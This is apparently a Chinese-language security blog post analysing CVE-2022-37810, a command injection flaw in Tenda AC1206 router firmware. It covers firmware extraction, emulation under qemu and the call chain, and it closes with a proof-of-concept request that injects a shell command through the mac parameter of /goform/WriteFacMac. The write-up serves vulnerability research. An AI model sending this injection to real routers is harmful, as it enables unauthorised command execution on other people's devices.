CVE-2022-37810 Tenda路由器命令注入分析


0x01 漏洞描述

Tenda AC1206(v15.03.06.23)存在formWriteFacMac命令注入漏洞,可以通过mac参数执行任意命令。

0x02 漏洞分析

US_AC1206V1.0RTL_V15.03.06.23_multi_TD01

提取固件

提取固件运行httpd可执行文件

binwalk -Me US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin 

qemu执行

mips小端

cd _US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root/
cp $(which qemu-mipsel-static) ./
sudo ./qemu-mipsel-static -L ./ ./bin/httpd
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

main函数中0x00433a68有对apmib_init的判断,patch掉,bnez改为beqz

ConnectCfm也需要改掉

添加网卡

sudo brctl addbr br0 
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0

formWriteFacMac

漏洞点在http的formWriteFacMac函数,IDA定位关键函数fromWirteFacMac,控制了mac参数就能利用doSystemCmd实现命令注入。

doSystemCmd

doSystemCmd函数不在httpd中,在libcommon.so中

交叉引用查看formWriteFacMac函数调用链

main -> initWebs -> formDefineTenDa -> websFormDefine('WriteFacMac',formWriteFacMac);

formDefineTenDa包含路由器接口和对应的处理函数,通过websFormDefine注册后,WriteFacMac会和formWriteFacMac形成绑定,在goform下产生接口WriteFacMac调用formWriteFacMac

192.168.130.137/goform/WriteFacMac

initWebs

formDefineTenDa

websGetVar

判断wp中的mac参数是否存在,不存在返回默认值00:01:02:11:22:33,存在则返回对应值,没有做任何过滤,因此可以直接构造。

0x03 漏洞利用

当wp判断mac参数是否存在时,返回值没有做任何过滤,因此可以直接构造。

192.168.130.137/goform/WriteFacMac?mac=00:01:02:11:22:33 || ls


文章作者: 大茗茗のblog
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 大茗茗のblog !
  目录